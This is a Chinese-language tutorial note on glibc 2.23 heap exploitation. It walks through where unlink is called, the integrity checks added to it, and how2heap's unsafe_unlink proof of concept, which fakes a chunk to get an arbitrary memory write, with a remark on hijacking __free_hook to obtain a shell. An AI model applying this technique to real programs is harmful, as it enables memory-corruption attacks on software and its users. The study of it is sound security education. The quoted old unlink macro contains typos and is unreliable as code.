在glibc-2.23的malloc.c中搜索unlink
,找到unlink的使用场景
_int_malloc
_int_free
malloc_consolidate
_int_realloc
https://blog.csdn.net/qq_41453285/article/details/98850842
#include <malloc.h>
int main()
{
char* a = malloc(0x80);
malloc(0x8);
char* b = malloc(0x80);
char* c = malloc(0x90);
malloc(0x8);
char* d = malloc(0x100);
malloc(0x8);
free(a);
free(b);
free(d);
free(c);
return 0;
}
就是free( c)执行之前,unsorted bin中的布局(连接线就不画了,入unsorted bin链可以看 how2heap-2.23-05-unsorted_bin_attack)
free(c)
准备unlinkchunk b和chunk c物理相连
chunk b
unlinkchunk b
和chunk c
插入到unsorted bin链中chunk b
unlink在本示例中:就是chunk b脱链,chunk d和chunk a重新连接
再把图中已经被unlink的chunk b去除一下
符合unlink的核心步骤,下面是较旧版本中unlink实现代码
#define unlink(P, BK, FD)
{
BK = P->bk;
FD = p=>fd;
FD->bk = BK;
BK->fd = FD:
}
如果有漏洞,可以篡改chunk b的fd,bk
还未unlink的时候,chunk b fd和bk就已经指向了被篡改后的位置
在unlink的时候,就能修改篡改后fd,bk指向空间的数据
如果篡改fd指向__free_hook
相关空间,篡改bk为system
的地址,就很容易get shell
之后的版本,unlink的原理没变,但是增加了检查
// 由于 P 已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致(size检查)
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
malloc_printerr ("corrupted size vs. prev_size"); \
// 检查 fd 和 bk 指针(双向链表完整性检查)
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
// largebin 中 next_size 双向链表完整性检查
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \
malloc_printerr (check_action, \
"corrupted double-linked list (not small)", \
P, AV);
来看看how2heap中unsafe_unlink,大佬们是怎么绕过的
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
uint64_t *chunk0_ptr;
int main()
{
setbuf(stdout, NULL);
printf("Welcome to unsafe unlink 2.0!\n");
printf("Tested in Ubuntu 14.04/16.04 64bit.\n");
printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");
int malloc_size = 0x80; //we want to be big enough not to use fastbins
int header_size = 2;
printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");
chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1
printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);
printf("We create a fake chunk inside chunk0.\n");
printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
printf("We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n");
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
printf("Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);
printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
chunk1_hdr[0] = malloc_size;
printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n");
chunk1_hdr[1] &= ~1;
printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
printf("You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n\n");
free(chunk1_ptr);
printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
char victim_string[8];
strcpy(victim_string,"Hello!~");
chunk0_ptr[3] = (uint64_t) victim_string;
printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
printf("Original value: %s\n",victim_string);
chunk0_ptr[0] = 0x4141414142424242LL;
printf("New Value: %s\n",victim_string);
// sanity check
assert(*(long *)victim_string == 0x4141414142424242L);
}
(P->fd->bk != P || P->bk->fd != P) == False
首先执行chunk0_ptr = (uint64_t*) malloc(malloc_size);
再执行,就绕过了(P->fd->bk != P || P->bk->fd != P) == False
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
这里,在chunk0的内容头部中伪造了一个chunk
如何理解
chunksize(P) != prev_size (next_chunk(P))
chunk0和chunk1是连续申请的,其虚拟内存相连
chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1
修改chunk1的prev_size和prev_in_use位,使堆管理器认为伪造的chunk和chunk1是相连的
,且伪造的chunk已经处于释放状态
现在释放chunk1,就能触发伪造的chunk进行unlink操作
从这两个图,可以看到chunk0_ptr存储的内容会被覆盖
到底覆盖为&chunk0_ptr-0x10
还是&chunk0_ptr-0x18
,可以从unlink的代码中看出
#define unlink(P, BK, FD)
{
BK = P->bk;
FD = p=>fd;
FD->bk = BK;
BK->fd = FD:
}
chunk0_ptr
的内容被覆盖为&chunk0_ptr-0x18
,也就是chunk0_ptr认为自己指向的chunk从&chunk0_ptr-0x18
开始
从上图可以看出,chunk0_ptr可以通过自己指向chunk内容的下标3(从下标0开始
),就能更改chunk0_ptr指向的chunk,实现指向任意地址
char victim_string[8];
strcpy(victim_string,"Hello!~");
chunk0_ptr[3] = (uint64_t) victim_string;
然后就能可以进行任意地址写了
chunk0_ptr[0] = 0x4141414142424242LL;